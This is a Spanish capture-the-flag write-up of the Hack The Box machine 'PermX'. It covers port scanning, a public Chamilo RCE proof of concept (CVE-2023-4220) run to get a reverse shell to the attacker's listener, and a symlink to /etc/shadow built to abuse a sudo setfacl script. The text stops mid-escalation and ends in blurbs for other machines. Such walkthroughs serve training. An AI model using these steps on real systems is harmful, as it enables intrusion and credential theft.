Hacemos un escaneo de puertos, encontramos lo siguiente.
1
2
3
4
5
6
7
8
9
10
11
12
13
$ sudo nmap -sT -Pn -p- 10.129.18.54 # Encuentra 22,80$ sudo nmap -sT -Pn -p22,80 10.129.18.54 -sVC # Indica "Did not follow redirect to http://permx.htb", lo añadimos a /etc/hosts$ sudo nmap -sT -Pn -p22,80 permx.htb -sVC
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:
| 256 e2:5c:5d:8c:47:3e:d8:72:f7:b4:80:03:49:86:6d:ef (ECDSA)|_ 256 1f:41:02:8e:6b:17:18:9c:a0:ac:54:23:e9:71:30:17 (ED25519)80/tcp open http Apache httpd 2.4.52
|_http-title: eLEARNING
|_http-server-header: Apache/2.4.52 (Ubuntu)Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
tcp/22 (OpenSSH 8.9p1): Tiene algunas vulnerabilidades, pero son difícilmente explotables así que las consideramos no relevantes.
tcp/80 (Apache httpd 2.4.52): Algunas vulnerabilidades no relevantes y dos críticas: CVE-2022-22720 (HTTP Request Smuggling) y CVE-2022-23943 (Out-of-bounds Write), ambas de CVSS 9.8.
La segunda vulnerabilidad posiblemente no nos sirva de nada por la complejidad de explotarla, pero la primera no la descartamos de momento.
Al entrar nos encontramos con la siguiente página de eLearning.
![px1.png]
Si vamos tocando cosas, nos encontramos con varias pestañas diferentes: index.html, about.html, courses.html, team.html, testimonial.html y contact.html.
Ninguna contiene nada relevante, la única que parece dejar enviar datos es contact.html y pone explícitamente “The contact form is currently inactive.”.
Encontramos el siguiente panel de inicio de sesión de un servicio que parece ser Chamilo:
Según Wikipedia:
Chamilo es un sistema de gestión de aprendizaje o LMS (Learning Management System), diseñado para apoyar a la educación en línea. Es una plataforma de software libre escrita en PHP, cuyo propósito es mejorar la educación y su acceso a ella a nivel mundial.
Para ver la versión, miramos el código fuente de la página inicial. Ahí encontramos la siguiente línea:
1
<metaname="generator"content="Chamilo 1" />
Si buscamos más acerca de la versión Chamilo 1, veremos que tiene varias vulnerabilidades relevantes que permiten RCE, entre ellas el CVE-2023-4220, con un PoC público.
1
2
3
4
5
6
7
$ python3 main.py -u http://lms.permx.htb --mode revshell
[?] Paste here your IP: 10.10.16.82
[?] Paste here your port: 4444[+] Make sure you are listening in port 4444[-] Unmanaged Exception: HTTPConnectionPool(host='lms.permx.htb', port=80): Read timed out. (read timeout=3)# Aunque da un timeout, la revshell ya se ha establecido antes de que pase el tiempo.[-] Exiting...
Y en el listener:
1
2
3
4
5
6
7
8
9
$ penelope -i 10.10.16.82
[+] Listening for reverse shells on 10.10.16.82:4444
➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)[+] Got reverse shell from permx~10.129.18.54-Linux-x86_64 😍️ Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$
Aparecemos como el usuario www-data y necesitamos conseguir ser un usuario más privilegiado. Si buscamos en /home, encontramos el usuario mtz.
1
2
www-data@permx:/var/www/chamilo$ ls /home/
mtz
Dado que Chamilo nos pedía unas credenciales, es probable que ya tenga algunas almacenadas y use alguna base de datos para guardarlas.
Si buscamos información acerca de dónde se guardan dichas credenciales de usuarios, veremos que Chamilo usa MySQL/MariaDB para guardarlas y que las credenciales de la DB se guardan en app/config/configuration.php.
Vamos enumerando cosas. Primero miramos los permisos sudo:
1
2
3
4
5
6
mtz@permx:/var/www/chamilo$ sudo -l
Matching Defaults entries for mtz on permx:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User mtz may run the following commands on permx:
(ALL : ALL) NOPASSWD: /opt/acl.sh
mtz@permx:/var/www/chamilo$ cat /opt/acl.sh
#!/bin/bashif["$#" -ne 3]; then /usr/bin/echo "Usage: $0 user perm file" exit 1fiuser="$1"perm="$2"target="$3"if[["$target" != /home/mtz/* ||"$target"== *..* ]]; then /usr/bin/echo "Access denied." exit 1fi# Check if the path is a fileif[ ! -f "$target"]; then /usr/bin/echo "Target must be a file." exit 1fi/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm""$target"
El script hace lo siguiente:
Comprueba que el número de parámetros pasados sea exactamente 3, respectivamente: Usuario, Permiso y Archivo Objetivo.
Si el objetivo es un archivo, está en /home/mtz, y no contiene .. (Path Traversal), se le cambian los permisos con setfacl a los especificados.
Podemos probar a hacer un symlink hacia /etc/shadow. Si el script sigue el symlink, conseguiremos cambiar los permisos del /etc/shadow real.
1
2
3
mtz@permx:~$ ln -s /etc/shadow ./shad
mtz@permx:~$ ls -l shad
lrwxrwxrwx 1 mtz mtz 11 Jun 19 02:06 shad -> /etc/shadow
Ahora podemos intentar darnos permisos de escritura:
OS: Linux | Dificultad: Easy | Conceptos: Versión de Yii Framework expuesta, CVE en CraftCMS, Credencial de MariaDB crackeada, Reutilización de contraseñas, Vulnerabilidad en Telnet
OS: Linux | Dificultad: Easy | Conceptos: CVE Público, Unauthenticated SQLi en FreePBX, RCE vía SQLi, Privesc mediante inyección de comandos con incron.